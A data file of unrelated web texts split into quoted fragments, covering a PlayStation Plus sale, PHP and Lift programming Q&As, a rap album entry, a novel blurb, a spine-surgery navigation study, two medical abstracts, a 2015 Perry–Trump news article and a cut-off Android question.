"\n\n*Players can form a team of up to 4 players through Ad-Hoc play and experience the social gaming phenomenon.",
"\n\n*AI Felyne companion, who will accompany players on quests and provide aid through the challenging battles.",
"\n\n*Fans of the series can transfer their data from Monster Hunter Freedom 2.",
"\n\nSpring Fever Sale\n\nOther Discounts\n\nTitle Plus Price Regular Price Blazblue: Chrono Phantasma (Pre-Order) $40.49 $44.99\n\nIf you’ve got feedback on today’s Plus update make sure vote in the poll and leave a comment below. ",
"To discuss all things PlayStation, including this update, you can also head over to the PlayStation Community Forums where you’ll find topics you can contribute your thoughts to, or start one for yourself."
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"Q:\n\nLoading PEAR dependencies from different locations?",
"\n\nI'm trying to load the Mail extension on my cloud hosting server, but it's failing as I have dependencies in multiple locations.",
"\nMail and Net were installed via cPanel, and they were installed in /home/username/php.",
"\nThe spec for Mail says to require 'Mail.php', which would then load it from the include_path. ",
"However, the include_path='.:/usr/lib/php:/usr/local/lib/php. ",
"This is where PEAR.php is, as well as other stuff I don't know about.",
"\nSo,\nIf I use require '/home/username/php/Mail.php, Mail's dependencies such as Net_SMTP fail to load. ",
"\nIf I change the include path to /home/username/php, then PEAR.php fails to load.",
"\nI'd rather not have to modify the Mail.php to manually include it's dependencies.",
"\n\nA:\n\nYou need to update your include path to reference all directories concerned:\ninclude_path='.:/usr/lib/php:/usr/local/lib/php:/home/username/php/'\n\n"
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"True Story (The B.G.'z album)\n\nTrue Story was originally the debut album by American hip hop duo B.G.'z, released on July 29, 1995, by Cash Money. ",
"Originally, The B.G.'z, formed in 1995, were a group consisting of Lil Doogie (B.G.), who was 14 years old, and Baby D (Lil Wayne), who was 12. ",
"This album was re-released in 1999 as a B.G. album, when Cash Money Records got a distribution deal with Universal Records. ",
"It sold over 20,000 copies at the time of its release. ",
"\n\n\"True Story\" and \"Fuck Big Boy\" are diss tracks towards Mystikal and Big Boy Records, another independent label from New Orleans, Louisiana.",
"\n\nTrack listing\n All songs are produced by Mannie Fresh.",
"\n\nReferences\n\nCategory:1995 debut EPs\nCategory:Albums produced by Mannie Fresh\nCategory:Cash Money Records EPs\nCategory:Gangsta rap EPs\nCategory:Bounce music albums"
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"To escape her stifling routine, Caro drinks a little too much. ",
"But her true solace is the Lowcountry island her beloved Granddaddy left her—an oasis of breathtaking beauty that is home to a band of wild ponies. ",
"When Caro learns that her husband must develop the island or lose the business, she is devastated. ",
"The Lowcountry is her heritage—and what will happen to the ponies whose spirit and freedom have captivated her since childhood?",
"\n\nSaving the island could cost Caroline more than she ever imagined. ",
"To succeed, she must confront the part of herself numbed by alcohol and careful avoidance—and shatter long-held ideals about her role in society, her marriage, and ultimately, herself.",
"\n\nHarperCollins Reader\n\nWhen you purchase e-books from HarperCollins, you can read it on our HarperCollins Reader App that is available on your iPhone/iPad, Android or Kindle Fire.",
"\n\nWe encourage you to use the HC Reader App since it supports our type of e-book files and you may have some trouble with a different reader app.",
"\n\nInstructions\n\nPlease make sure you have a HarperCollins Account. ",
"If you purchase/have purchased an e-book from HarperCollins, this is your account login and password. ",
"Otherwise, please click here to register.",
"\n\nDownload the HC Reader App on iPhone/iPad, Android or Kindle Fire and sign in with your HarperCollins account (your username is an e-mail address). ",
"Please note that Kindle Fire users must edit their settings (Settings < Device) to allow installation of apps in order to download the HC Reader App. ",
"This App is not available in the Amazon App Store."
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"Introduction {#S0001}\n============\n\nPedicle screw fixation to augment bony fusion is commonly performed in spine surgery. ",
"Although most pedicle violation errors are clinically irrelevant, nerve root injuries are not uncommon. ",
"cerebro spinal fluid leak, vascular injury, and visceral injury have also been reported.^[@CIT0001]--[@CIT0004]^ Over the last decade, the use of image-guided navigation for pedicle screw insertion is preferred by some surgeons owing to the reportedly decreased incidence of pedicle breach and clinical events. ",
"The 3 most popular navigation systems used are computed tomography (CT) navigation, 2D fluoroscopy, and 3D fluoroscopy.",
"\n\nCT-based navigation using paired point and surface registration is widely practiced. ",
"It requires the acquisition of preoperative CT images of the spine. ",
"Intraoperatively, selected anatomical points on the vertebra were matched to the computer-generated model on the work station. ",
"However, the process is time consuming and has a considerable learning curve, and the results are variable.^[@CIT0005]--[@CIT0008]^\n\nFluoronavigation relies on anteroposterior and lateral 2D images obtained intraoperatively. ",
"Although relatively inexpensive, the quality of 2D fluoroscopic images obtained at certain levels can be disappointing.",
"\n\n3D fluoroscopy-based navigation provides real-time intraoperative 3D imaging. ",
"Intraoperative images can be obtained while the digital reference array (DRA) is attached to the patient thereby automating the registration process. ",
"The O-arm (Medtronic Surgical Technologies, Louisville, Colorado) is a recent 3D fluoroscopy system that provides image quality similar to that of CT. ",
"The preliminary results are promising regarding accuracy of pedicle screw insertion with the O-arm.^[@CIT0009]--[@CIT0012]^ However, the reports on navigational errors using the O-arm are limited to axial errors.^[@CIT0012],\\ [@CIT0013]^\n\nThe goal of our series was to describe axial and sagittal navigational errors, in addition to the clinical accuracy for O-arm--assisted pedicle screw insertion in L4-5 degenerative spondylolisthesis.",
"\n\nMethods {#S0002}\n=======\n\nTwenty-six consecutive patients with degenerative spondylolisthesis underwent L4-5 instrumented fusion by the senior author (BG) from September 2011 to December 2012. ",
"All pedicle screws were inserted with help of the O-arm. ",
"All patients received high-resolution preoperative CT imaging for navigation planning (2-mm isotropic resolution, 1-mm overlap with anatomical coverage of L2-S2 vertebrae. ",
"The digital imaging and communications in medicine images were imported to the StealthStation (Medtronic Surgical Technologies, Louisville, Colorado), and 2D and 3D models were reconstructed to simulate L3-S1 fusion. ",
"Printouts of this simulation with screw sizes were displayed in the operating room.",
"\n\nWe exposed the spinous processes from the inferior aspect of L3 spinous process to the superior aspect of L5, the L4 and L5 laminae, and the transverse processes till the tips. ",
"The integrity of L3-4 interspinous ligaments and facet joints was preserved. ",
"The passive DRA was fixed on the L3 spinous process. ",
"The O-arm was draped with sterile plastic and positioned around the patient on the Jackson table (Orthopedic Systems Incorporated). ",
"A 3D low-resolution image was acquired in 13 seconds while the breathing was stopped. ",
"A total of 392 single images were recorded in a full 3601 rotation of the radiation source and detector unit. ",
"The images were taken without the retractor (Crank, Codman) in place. ",
"The data set from the O-arm was automatically transferred to the StealthStation where 2D and 3D images were created. ",
"Planning of the screws was done by the senior author on the StealthStation (version 2.0). ",
"The navigation wand was registered on the divot of the passive DRA. ",
"The navigation wand with the ball tip was applied to the spinous process laminae and transverse process to check the accuracy of the system.",
"\n\nThe screw image was reproduced on the patient to match the entry point, exit point, and angulation. ",
"In a few instances, the planning was changed to accommodate the limitation of the retractors. ",
"An air drill was used to traverse the outer cortex of the base of the mammillary process in line with the planned screw. ",
"A nonnavigated straight pedicle probe was inserted along the direction provided by the navigation probe. ",
"The trajectory and depth were confirmed by the navigation wand. ",
"The integrity of the pedicle walls and anterior cortex was tested with a ball point. ",
"A proper-sized tap was inserted along the pedicle. ",
"A pedicle screw (Stryker Xia 3 system, Hamilton, Ontario, Canada) was inserted after checking with the navigation probe. ",
"All screws were polyaxial. ",
"We attempted to use 6.5mm diameter screws but a few of them were 5.0 mm, 5.5 mm, or 6.0 mm screws owing to anatomical constraints. ",
"The screw length varied from 30--55 mm. ",
"The senior author placed all screws on the right side and 25% of the screws on the left side, while the fellow or resident placed the rest under supervision of the senior author.",
"\n\nA thin-cut postoperative CT scan (Toshiba Aquilon One, Tochigi-Ken, Japan) from L3 to S1 was done. ",
"Errors were evaluated on axial (media and lateral) and sagittal images (cranial and caudal) for pedicle breach and anterolateral perforations of the vertebral body. ",
"The pedicle errors were graded using accepted definitions: grade I (0--2.0 mm), grade 2 (2.1--4.0 mm) grade 3 (4.1--6.0 mm), and grade 4 (6.1--8.0 mm).^[@CIT0014],\\ [@CIT0015]^ Anterolateral perforations were quantified in millimeter as the distance traversed by the tip of the screw beyond the perpendicular of the cortical margin ([Fig. ",
"3](#F0003){ref-type=\"fig\"}).",
"\n\nNavigational errors {#S20003}\n-------------------\n\nTo study the navigational error, a snap shot of the planned screw images (virtual images) acquired by the O-arm on the StealthStation and the postoperative CT images on the picture archiving and communication system (Intelliviewer software version 4-2-1-P301, Intelerad Systems Inc., Montreal, Canada) were compared. ",
"The axial screw angle was defined as the angle made by the pedicle screw axis with the midsagittal vertebral axis ([Fig. ",
"1](#F0001){ref-type=\"fig\"}). ",
"The midsagittal vertebral axis is a line bisecting the vertebral body, midpoint at the base of the lamina, and tip of the spinous process, and it has been described earlier.^[@CIT0016]^ The sagittal screw angle was defined as the angle made by the pedicle screw axis with the superior end plate of the respective vertebral body ([Fig. ",
"2](#F0002){ref-type=\"fig\"}).",
"\n\n{#F0001}\n\n{#F0002}\n\nThe difference between the planned axial screw angle and the postoperative axial screw angle was defined as the axial navigational error ([Fig. ",
"1A](#F0001){ref-type=\"fig\"} and [B](#F0001){ref-type=\"fig\"}). ",
"Similarly, the difference between the planned sagittal screw angle and the postoperative sagittal screw angle was defined as the sagittal navigational error ([Fig. ",
"2A](#F0002){ref-type=\"fig\"} and [B](#F0002){ref-type=\"fig\"}). ",
"Statistical analysis was done using the JMP software (version 8.0).",
"\n\nResults {#S0004}\n=======\n\nA total of 104 screws were inserted in 26 patients. ",
"None of the patients had complications from hardware misplacement. ",
"There were no new postoperative radiculopathy or vascular injuries.",
"\n\nPedicle breaches {#S20005}\n----------------\n\nA single (1/104; 1%) pedicle breach occurred at right L5 grade 1 (lateral breach of 1 mm). ",
"No clinical effect was seen.",
"\n\nAnterior perforation {#S20006}\n--------------------\n\nThere was a total of 7 of 104 (6.7%) anterolateral perforations (mean: 2.2 mm and range: 1--4 mm). ",
"All these perforations were at the L5 level.",
"\n\nDegree of navigational errors {#S20007}\n-----------------------------\n\nThe planned angle and the postoperative angle for each level in axial and sagittal planes is given in the Table.",
"\n\nAxial navigational errors {#S20008}\n-------------------------\n\nThe mean axial error for L4 screw was 2.1° (±1.6) whereas for L5 screw it was 2.7° (±1.9). ",
"There was no significant difference between right and left (*P* = .43) or between L4 and L5 screws (*P* = .10).",
"\n\nSagittal navigational errors {#S20009}\n----------------------------\n\nThe mean sagittal error for L4 screw was 2.8° (±2.1) whereas it was 3.2° (±2.6) for L5. ",
"There was no significant difference between right and left (*P* = .53) or between L4 and L5 screws (*P* = .69).",
"\n\nCorrelation of anterior perforation with degree of navigational error {#S20010}\n---------------------------------------------------------------------\n\nThe correlation between the occurrence of anterolateral perforation and the axial error was statistically significant (*P* = .02). ",
"However, there was no significant correlation between anterolateral perforation and sagittal error (*P* = .12).",
"\n\nDiscussion {#S0011}\n==========\n\nPedicle breach {#S20012}\n--------------\n\nIn our study, we had a pedicle breach rate of 1% (a single lateral error of 1 mm). ",
"This is comparable to the available literature for thoracolumbar pedicle screw insertion using O-arm showing error rates between zero and 3%.^[@CIT0009]--[@CIT0012]^ It is better than in our previous study (unpublished data) where we used preoperative CT scan and conventional navigation with mainly paired point registration (SNN, Mississauga, Ontario, Canada). ",
"Those errors were mostly lateral.",
"\n\n###### \n\nThe planned angle and the postoperative angle for each level in axial and sagittal planes. ",
"The mean navigational error in both planes is shown in column 4 and column 7. ",
"Standard deviation in parentheses\n\n Level Axial Sagittal \n -------- -------------- -------------- --------------------- -------------- -------------- ---------------------\n RL4 10.4° (±2.8) 10.5° (±2.8) 1.8° (±1.5) 11.4° (±3.2) 11.1° (±2.7) 2.1° (±1.6)\n LL4 9.9° (±3.9) 10.3° (±3.2) 2.3° (±1.7) 9.4° (±3.1) 10.7° (±3.9) 3.6° (±2.5)\n **L4** 10.2° (±3.4) 10.4°(±2.9) **2.1**° (±**1.6**) 10.3° (±3.3) 10.9° (±3.3) **2.8**° (±**2.1**)\n RL5 8.4° (±3.1) 8.0° (±3.4) 3.4° (±1.8) 2.6° (±3.6) 2.1° (±5.5) 3.6° (±2.9)\n LL5 7.2° (±3.5) 7.4° (±2.7) 2.2° (±1.8) 0.8° (±4.1) 0.8° (±5.4) 2.9° (±2.4)\n **L5** 7.8°(±3.3) 7.7° (±3.1) **2.7**° (±**1.9**) 1.6° (±3.9) 0.6° (±5.6) **3.2**° (±**2.6**)\n\nAnterolateral perforations {#S20013}\n--------------------------\n\nAnterolateral perforations are not routinely mentioned in the pedicle screw literature presumably because it is very rarely associated with any clinical events. ",
"There were 7 (6.7%) cortical perforations on the anterolateral surface of the vertebral body. ",
"Most perforations were 2 mm or less, except one case which had a 4-mm perforation. ",
"All perforations were at the L5 level. ",
"None of them was near blood vessels or visceral organs. ",
"There was a positive correlation between the extent of axial error and presence of a perforation. ",
"Though the L5 pedicle is the most angulated and has the most margin for rotational error, we found anatomical constraint to be a significant factor for error. ",
"We theorize that the major limitation for obtaining an L5 screw angle close to the anatomical pedicle angle is the constraints of the retraction. ",
"We observed that L5 is deeper in the field owing to lordosis. ",
"We minimized the dissection of L5 spinous process since the use of the O-arm. ",
"Previous preoperative navigation systems required more spinous process dissection for paired point registration and more lamina dissection for surface matching. ",
"The second factor involved is our paradigm to plan for a potential L3 to S1 fusion in the future. ",
"From our viewpoint, we also wanted to avoid the facet joint of L3-4. ",
"Respecting these constraints, the planning of L5 screws were less angulated than L4 screws ([Fig. ",
"3](#F0003){ref-type=\"fig\"}). ",
"This coupled with the triangular shape of the L5 vertebral body leaves almost no margin for error as the virtual screw invariably touched the anterolateral cortex. ",
"Unfortunately, these errors occurred despite feeling the anterior cortex with a ball tip. ",
"During surgery we occasionally had to alter the trajectory owing to the proximity of the screw heads. ",
"This adjustment was done mostly in the sagittal plane and might not be a significant factor in the rate of perforation.",
"\n\n{#F0003}\n\nDegree of navigational error (sagittal and axial angular deviation) {#S20014}\n-------------------------------------------------------------------\n\nWe believe estimating navigational accuracy is important as it helps to compare the accuracy of different systems. ",
"In 1999, Kamimura et al.^[@CIT0013]^ first described the degree of angular deviation from the planned trajectory or the \"virtual image\" in vitro when using computer-assisted navigation using preoperative CT scan. ",
"Oertel et al.",
",^[@CIT0012]^ in 2011, reported that the mean angular deviation was 2.8° for 94 thoracolumbar screws inserted with the help of O-arm. ",
"The aforementioned studies looked only at the angular deviation in the axial plane. ",
"Our study looked at both axial and sagittal angular deviations. ",
"This is useful to determine the inferior or superior deviation from the planned sagittal trajectory. ",
"Rampersaud et al.^[@CIT0017]^ studied the maximum permissible axial error at different vertebral levels when reporting on the accuracy requirement for image-guided pedicle screw placement. ",
"This was estimated to be 9.8° and 12° at L4 and L5, respectively. ",
"Our study showed the axial error to be 2.1° at L4 and 2.7° at L5 and the sagittal navigational error to be 2.8° and 3.2°, respectively. ",
"This level of navigational accuracy is extremely useful when inserting screws at the midcervical, midthoracic, and thoracolumbar junction where the navigational accuracy requirements are much higher.",
"\n\nReasons for navigational error {#S20015}\n------------------------------\n\nAlthough navigation-guided pedicle screw insertion is more precise, no guidance system is 100% accurate. ",
"There are multiple sources of error in image guidance systems. ",
"They include imaging errors, registration errors, tracking errors, distance of navigation probe from the DRA, movement of the DRA after registration, and surgeon error.^[@CIT0013],\\ [@CIT0018]^ Another source of error could be the possible toggle at the polyaxial screw joints mentioned in an earlier report,^[@CIT0012]^ However, in comparison with the paired point registration or surface matching, or both, using preoperative CT scan, the O-arm eliminates surface model registration errors and imaging data inaccuracy owing to changes in position of patient.",
"\n\nUse of other methods to insert pedicle screws {#S20016}\n---------------------------------------------\n\nMost spine surgeons now use at least plain radiography or 2D fluoroscopy to insert pedicle screws. ",
"Navigation for inserting pedicle screws is not yet widely accepted owing to technical and time limitations. ",
"Freehand screw insertion has high rates of screw misplacement. ",
"Despite using fluoroscopy, the rates of screw misplacements are still high. ",
"They vary between 5% and 41% for lumbar screws.^[@CIT0017],\\ [@CIT0021]^ One study compared conventional pedicle screw insertion with O-arm assistance and reported 16.5% pedicle perforation rate with freehand as compared with 1% with O-arm.^[@CIT0009]^ Percutaneous insertion of lumbar screws showed 97% accuracy with O-arm as compared with 87.2% with fluoroscopy.^[@CIT0011]^\n\nImage-guided techniques have reported lower misplacement rates between 0% and 14% for thoracolumbar pedicle screws.^[@CIT0009],\\ [@CIT0017],\\ [@CIT0019]--[@CIT0023]^ Although screw misplacement does not always translate into neurologic injury, it could lead to a loss of stiffness of the implant and late spinal instability.^[@CIT0024]^ Kosmopoulos and Schizas^[@CIT0025]^ conducted a meta-analysis in which they reported 130 studies with a total of 37,337 pedicle screws inserted and concluded that the median placement accuracy of the assisted navigation group was 95.2% as compared with 90.3% in the unassisted group. ",
"The difficulties with the acceptance of navigation in the spine community can be explained by many factors: surgeon training and beliefs, increased time for screw insertion, requirement of expensive navigation equipment, and need for technical support.",
"\n\nCT-based navigation (using paired point or surface registration) {#S20017}\n----------------------------------------------------------------\n\nPreoperative CT-based paired point registration or surface registration method is a commonly used technique for navigation. ",
"The accuracy of this method depends on the quality of the preoperative images, on the algorithms of the computer systems, and on the skill of the operating surgeon. ",
"The preoperative CT data are obtained when the patient is supine; however, the patient is positioned prone on the operating table changing the alignment often, thereby requiring individual registration and prolonging the operative time. ",
"Although better than the conventional method, CT-based paired point registration is reported to be ciated with pedicle breach rates from 2%--28%.^[@CIT0005]--[@CIT0008]^\n\n2D fluoroscopy (fluoronavigation) {#S20018}\n---------------------------------\n\nFluoronavigation uses intraoperative anteroposterior and lateral fluoroscopy while the DRA is fixed within the operative field. ",
"These images are then transmitted to a work station. ",
"The position of the navigation probe is then tracked on a virtual fluoroscopy image on the monitor. ",
"The pedicle breach rates by this method are reported to be between 8% and 15%.^[@CIT0019],\\ [@CIT0020]^ The quality of the fluoroscopically generated images, the surgeon\\'s ability to interpret them, and consequently, the accuracy are similar to those of conventional fluoroscopy.^[@CIT0019]^ The images may be suboptimal in patients with obesity, complex anatomy, or spinal deformity and in spinal regions where fluoroscopy is difficult. *",
"Fluoromerge* is similar to fluoronavigation except that in addition to the aforementioned, the preoperative CT images can be fused to the intraoperative images.",
"\n\n3D fluoroscopic imaging (O-arm and Iso-C^3D^) {#S20019}\n---------------------------------------------\n\nBoth the O-arm and the Iso-C^3D^ (Siemens AG Medical Solutions, Erlangen, Germany) are examples of 3D fluoroscopic imaging, which provides real-time intraoperative images for navigation. ",
"However, the O-arm provides image qualities similar to that of a CT scan with lower radiation exposure. ",
"The high-quality postoperative images can be used to correct any significant error. ",
"The accuracy of these systems range from 93%--100%.^[@CIT0009],\\ [@CIT0010],\\ [@CIT0012],\\ [@CIT0021],\\ [@CIT0022],\\ [@CIT0026]^\n\nTian et al.",
",^[@CIT0027]^ in 2011, conducted a meta-analysis of in vivo and in vitro comparative studies of pedicle screw insertion accuracy between different navigation methods and reported that 3D fluoroscopy was superior compared with CT-based navigation or 2D fluoroscopy.",
"\n\nRadiation dose {#S20020}\n--------------\n\nThe additional imaging acquired during the course of an image-guided procedure presents clinical, as well as radiation safety implications, involving additional radiation exposure to the patient and operator. ",
"The radiation exposure associated with the O-arm technique, however, is less or comparable to pedicle screw techniques using conventional fluoroscopy. ",
"In comparison with conventional fluoroscopy (C-arm), the effective radiation dose to a patient during a complete navigation CT scan of the abdomen (standard protocol) using the O-arm would be approximately equivalent to 56 seconds of regular fluoroscopy, or 19 seconds of higher-power (boost) fluoroscopy,^[@CIT0028]^ under the conventional fluoroscopic approach, which takes on an average about 2--3 minutes.^[@CIT0029],\\ [@CIT0030]^\n\nIn our practice, preoperative and postoperative CT imaging would be obtained in both O-arm--based technique and the fluoroscopy-based technique, and thus present comparable radiation exposure. ",
"Some phantom based studies have shown that under the same radiographic techniques (peak kilovoltage, milliampere second, scan length, and field of view), the amount of absorbed radiation dose attributed to a CT acquired on the O-arm is approximately half the dose from a 64-slice CT scanner.^[@CIT0031]^ The bone tissue contrast provided by the radiographic technique on the O-arm system is inferior to conventional CT, although it is sufficient for localization of anatomical features during image-guided pedicle screw placement. ",
"In our experience, we have found that the O-arm dosage can be further lowered without a detrimental effect on the quality of the resultant CT image. ",
"In fact, this reduction of dosage from the standard protocol established on the O-arm system could possibly be up to 5--13 times.^[@CIT0032]^ In addition, radiation exposure to the operating room personnel is negligible as they stay out of the room during the acquisition of O-arm images. ",
"However, it is recommended that the O-arm operator wear additional protection as the potential radiation dose is higher than standard fluoroscopy.",
"\n\nStudy limitations {#S20021}\n-----------------\n\nThis study analyzed 104 screws inserted at the L4 and L5 levels with O-arm--assisted navigation. ",
"There was no comparison with other methods. ",
"Owing to the lack of a control group, definite conclusions cannot be drawn as to the superiority of this technique over other methods. ",
"The senior author has extensive experience with CT-based navigation using paired point and surface registration and had a pedicle perforation rate of 5.9% (49/836 screwsunpublished data). ",
"However, this is not an appropriate comparison as this was at a different time point before the acquisition of the O-arm. ",
"The images were analyzed by the primary author and the senior author and hence this may introduce some bias in the interpretation of images. ",
"Calculation of the sagittal and axial angles is not an accurate science because of the variations in anatomy of the vertebral bodies. ",
"Intraobserver and interobserver errors are possible, and this method has not been validated. ",
"We did not use the navigated pedicle finder and the navigated screw driver. ",
"This could have contributed to some of the errors.",
"\n\nConclusion {#S0022}\n==========\n\nUse of O-arm--guided pedicle screw insertion was associated with a low incidence of pedicle breach (1%) and a low range of navigational error in both sagittal and axial plane. ",
"Anterolateral vertebral body perforation was higher at L5 without any negative clinical events. ",
"Despite the high need for technical support, we found that O-arm was a very efficient tool for accurate pedicle screw insertion.",
"\n"
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"The purpose of the research project is to study antigen sharing between Schistosoma mansoni cercaria and adults and their intermediate host, Biomphalaria pfeifferi. ",
"Progress to date has included the localization of mimicked snail antigens on adult worms by means of peroxidase labeled antibody, and the partial purification of this antigen from freeze thaw or homogenate preparations of whole worms. ",
"Some preliminary chemical characterization studies indicate that the mimicked antigen is heat labile, TCA precipitable, non-dialyzable, and present in the first peak from a Sephadex G-200 column. ",
"The antigen does not bind to Cibacron Blue Sephadex and stains as a protein but not as a lipid or carbohydrate. ",
"Isolation of the antigen from snail homogenate preparations has been hampered by the non-specific binding of several snail components to mouse and rabbit serum."
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"[Management of non metastatic castration resistant prostate cancer].",
"\nTo review the features of non-metastatic castration resistant prostate cancer (nmCRPC) and analyze the available therapeutic options. ",
"A literature search was performed using MEDLINE/Pubmed and EMBASE databases. ",
"Non metastatic CRPC occurs when a properly castrated patient presents a PSA increase without radiological distant metastases. ",
"Up to now, the new therapies available for treatment of castration resistant prostate cancer (CRPC) have been tested and approved to be used in patients with distant metastases. ",
"Therefore there is a lack of proved effective therapies that have been traditionally covered with second line hormonal maneuvers. ",
"A major limitation of studies evaluating hormonal maneuvers is that they had as primary end point PSA decline assesment, generally equal or greater than 50%, on the basis that a response entailed a greater survival. ",
"However, and admitting that there is a relationship between PSA progression and survival, nowadays in a clinical trial changes in PSA are not accepted as surrogate for survival. ",
"For this reason there are no studies that directly show that second-line hormonal maneuvers prolong survival. ",
"Despite the absence of alternatives, some patients especially those worried about PSA progression, can benefit from these maneuvers. ",
"Second-line hormonal maneuvers can be an alternative in the absence of effective therapies, as long as they are well tolerated in well informed patients who refused observation or clinical trial inclusion."
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"Q:\n\nDjango tags and filters in Lift?",
"\n\nThis is a generalization of my previous question about pluralize filter:\nDoes lift have an equivalent of Django's tags and filters?",
"\nTags are small piece of predefined code that can be used directly in html template, for example:\n{% now \"jS F Y H:i\" %}\n\nrenders the time right now in the given format.",
"\nFilters\nFilters operate (in html template) on the context variables in the template, for example:\n{{ value|capfirst }}\n\nif called on a value \"john\" will result in \"John\". ",
"Or:\n{{ value|length }}\n\nwill render the length of the string into the template.",
"\nAs you can see the filters operate on the context variables that are passed to the template.",
"\n\nA:\n\nConsidering tags, you could define those yourself with snippets.",
"\nAs snippet is basically a callback much as a Django tag is. ",
"You don’t get any easier syntax, though, because Lift’s templates are pure XML/Html.",
"\n<Lift:Tag.now format=\"jS F Y H:i\" />\n\nAnd the logic would be defined in \nclass Tag {\n def now: NodeSeq = // ...\n}\n\nFiltering is something you generally can’t do in a Lift template because Lift doesn’t allow any variables in a template. ",
"The whole concept is thus inapplicable. (",
"You could do XML transforms or or bind magic but that would be a bit too much for a simple value.length.)",
"\nNo, if you need the length of some value in your Html, you will have to define that inside the snippet and expose it.",
"\nIf you really can’t live without filters in your template (though I can assure you, it is a good thing to separate all HTML template and code and it works once you are used to it), have a look at Scalate which may be used together with Lift as well.",
"\n\n"
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"Q:\n\ncompare where in\n\nI'm looking for some library with static functions to eliminate duplication in code that compare \"things\".",
"\n(evil.equals(s1) || evil.equals(s2) || evil.equals(s3))\n(evil == enum1 || evil == enum2 || evil == enum3)\n\nA:\n\nYou could do something like\nArrays.asList(s1, s2, s3).contains(evil)\n\nThat would be a little shorter\n\n"
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[
"WASHINGTON - With Donald Trump under fire, former Texas Gov. Rick Perry sat for an interview with Fox News' Sean Hannity on Monday night via satellite hookup, appearing by himself in the corner of a room beside a lamp, a set of books and a globe.",
"\n\n\"I'm going to stand up to him, just like I would stand up to Vladimir Putin,\" Perry said, explaining his escalating war of words with the outlandish business mogul, who had attacked Perry's record of policing the southern border in Texas.",
"\n\nPerry, Hannity noted, seemed more willing than any of his GOP rivals to take on Trump, who has surged to the top of the Republican presidential primary polls. \"",
"There seems to be bad blood here growing,\" he said.",
"\n\n\"Well, I don't know about bad blood,\" Perry replied, \"but when he attacks me and the bullet goes through me and hits the Texas Rangers … you better believe I'm going to stand up.\"",
"\n\nTranslator\n\nTo read this article in one of Houston's most-spoken languages, click on the button below.",
"\n\nThe clip of Perry alone in a corner seemed an apt visual for a candidate who has been pushing back the hardest against the Trump phenomenon, even before the reality TV star's incendiary remarks belittling the war record of U.S. Sen. John McCain, a Vietnam War POW.",
"\n\n\"I have a message for my fellow Republicans and the independents who will be voting in the primary process,\" Perry said last week, before Trump scrambled the GOP contest with his shot at McCain. \"",
"What Mr. Trump is offering is not conservatism, it is Trump-ism - a toxic mix of demagoguery and nonsense.\"",
"\n\nThe contrast has been particularly stark with U.S. Sen. Ted Cruz, who courted the Manhattan tycoon in his Trump Tower office last week. ",
"Since then, Cruz has steadfastly declined to join the GOP scrum over Trump's controversial remarks questioning McCain's war heroism.",
"\n\n\"I recognize that folks in the press love to see Republican-on-Republican violence, so you want me to say something bad about Donald Trump or bad about John McCain or bad about anyone else,\" Cruz told reporters in Iowa. \"",
"I'm not going to do it. ",
"John McCain is a friend of mine. ",
"I respect and admire him and he's an American hero. ",
"And Donald Trump is a friend of mine.\"",
"\n\nAnalysts say both Texans have been hurt by Trump, who has co-opted both of their messages on border security and immigration. ",
"He once even publicly questioned Cruz's Canadian birth.",
"\n\nBut the new conflagration also presents opportunities. ",
"For Cruz, a Trump implosion - still by no means certain - would be a chance to reclaim the anti-Washington part of the GOP base that has rallied around Trump's no-holds-barred tactics.",
"\n\n\"It's a bet that at some point, Trump disappears,\" said Southern Methodist University political scientist Cal Jillson, explaining Cruz's reluctance to go after Trump.",
"\n\nCruz said in New York last week that he intends to win the GOP nomination, which means cutting into all of his rivals' support. ",
"But it is Trump, analysts say, who has done the most damage to Cruz, particularly in Iowa.",
"\n\nIt was at Saturday's Family Leadership Summit in Ames, Iowa , where Trump made the remarks that rocked the Republican establishment and set off a media feeding frenzy.",
"\n\n\"He's not a war hero,\" Trump said of McCain. \"",
"He's a war hero because he was captured…. ",
"I like people that weren't captured.\"",
"\n\nThe resulting furor eclipsed almost all of the news coverage of the Family Leader event, an influential meeting of evangelicals which Cruz arguably dominated with five standing ovations.",
"\n\nBut that is hardly the narrative that emerged from Iowa, where Trump dominated the headlines.",
"\n\n\"He would walk Trump off the stage with an arm around his shoulder,\" Jillson said of Cruz. \"",
"Cruz's calling card has been, 'I'm the most energetic conservative available to you,' and Trump says, 'Not really.'\"",
"\n\nPerry's calculation has been different. ",
"Struggling in the polls and languishing in the money race, Perry has had more reason to directly engage with Trump, now a media sensation in the GOP contest.",
"\n\nThe billionaire's attacks on Perry have allowed the former governor to highlight his decision to send National Guard troops to the border, ostensibly to pick up the slack left by the Obama administration.",
"\n\n\"The border security piece is a strength for Perry, and it's also very unique,\" said Texas GOP strategist Matt MacKowiak. ",
"And by standing up for McCain, a decorated war veteran, Perry has been offered a chance to underscore his own military service in a state with a large community of veterans.",
"\n\n\"Frankly,\" Perry wrote in a National Review article on Monday, \"we should expect no better from a man (Trump) who couldn't be bothered to answer the call to serve his nation when it needed him most.\"",
"\n\nFor Perry, like Cruz, attacking Trump runs the risk of alienating a critical part of the GOP's activist base. ",
"But the controversy has also afforded him the moral high ground in the debate.",
"\n\n\"Perry can do well distinguishing himself as willing to go after the bully,\" MacKowiak said.",
"\n\nWhat remains to be seen is how Trump fares once the dust has settled from his weekend in Iowa. ",
"He's shown no signs of backing down, and went further on Tuesday by going to South Carolina and calling one of the state's U.S. senators, presidential candidate Lindsey Graham, a \"stiff\" and an \"idiot.\"",
"\n\nSome Republican leaders believe, hopefully perhaps, that Trump has finally crossed a line of propriety, and will soon fade in the polls. ",
"Others have yet to be convinced.",
"\n\n\"The laws of political gravity don't appear to apply to Trump,\" MacKowiak said. \"",
"It's the fact that he's an anti-politician, and that's what people like about him.\"",
"\n\nUnlike traditional politicians, MacKowiack added, Trump can afford to be outrageous. ",
"It gets him attention - at the expense of everybody else - and pushes up his poll numbers. \"",
"There's an incentive for him to be outrageous.\"",
"\n\nBut it was Perry, more than anyone else, who was able to garner some of Trump's space in the spotlight.",
"\n\nAsked what he thought of Trump's performance, Perry snapped back that he is \"unfit to be Commander-in-Chief,\" and that he \"should immediately withdraw from the race for president.\""
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[
"Q:\n\nPictures and videos not showing in the gallery\n\nI'm experiencing this issue since a month or so. ",
"I was using the camera and I received a message of some memory error, but was able to continue taking pictures. ",
"Then I realized that the pictures were not showing up in the gallery. ",
"\nI connected the device to my PC and the files are actually there. ",
"In addition, I am able to continue taking pictures and access the files when using the camera (I touch the recent photos icon and I can see them).",
"\nI have tried many things, such as removing the DCIM folder, erasing the .nomedia files, erasing data from the internal memory, and none of them seemed to work. ",
"Could anyone help me?",
"\nThanks,\nAgustin\n\nA:\n\nConsider any of the solution mentioned below.",
